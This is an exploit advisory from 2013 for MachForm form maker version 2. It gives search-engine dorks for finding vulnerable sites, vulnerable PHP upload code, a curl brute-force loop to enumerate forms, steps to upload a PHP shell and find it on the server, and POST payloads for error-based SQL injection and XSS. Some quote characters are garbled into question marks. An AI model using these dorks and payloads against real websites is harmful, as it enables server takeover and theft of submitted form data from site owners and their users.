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# Exploit Title: Machform form maker - Multiple Vulnerabilities
# Date: 2013 17 June
# Exploit Author: Yashar shahinzadeh
# Credit goes for: ha.cker.ir
# Vendor Homepage: http://www.appnitro.com
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 2
# Special thanks to: Mormoroth
# Dork1: "Powered by MachForm" id=
# Dork2: formularios/view.php?id=
# Dork3: inurl:machform/view.php?id=
#
# Demonstration clip: http://y-shahinzadeh.ir/tutorial/machform.rar
# Contacts: { http://Twitter.com/YShahinzadeh , http://Twitter.com/Mormoroth }
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Summary:
========
1. Arbitrary file upload
2. MySQL Injection (Error based) and XSS
1. Arbitrary file upload:
=========================
...
...
if(!empty($uploaded_files)){
foreach ($uploaded_files as $element_name){
if(empty($form_review)){
//move file and check for invalid file
$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";
if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
$query = "update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
do_query($query);
}
}else{
//for form with review enabled, append .tmp suffix to all uploaded files
//move file and check for invalid file
$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp";
if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
$query = "update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
do_query($query);
}
if(!empty($uploaded_file_lookup[$element_name])){
unset($uploaded_file_lookup[$element_name]);
}
}
}
}
...
...
Exploit:
In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:
$input_array = ap_sanitize_input($_POST);
$submit_result = process_form($input_array);
These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I?m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:
seq 1 500 | xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
grep ?type=\?file\?" *.out
Afterwards, an HTML element followed by ?for=?(.*)? must be specified, picture below gives better concept:
http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg
All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path:
http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php
In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I?ve recorded a clip demonstrating what I?ve said:
http://y-shahinzadeh.ir/tutorial/machform.rar
2. MySQL Injection (Error based) and XSS:
=========================================
...
...
$input_array = ap_sanitize_input($_POST);
...
...
Exploit (POST to view.php after finding HTML elements):
element_1=1&element_2=?&element_3=1&form_id=11&submit=1
element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar
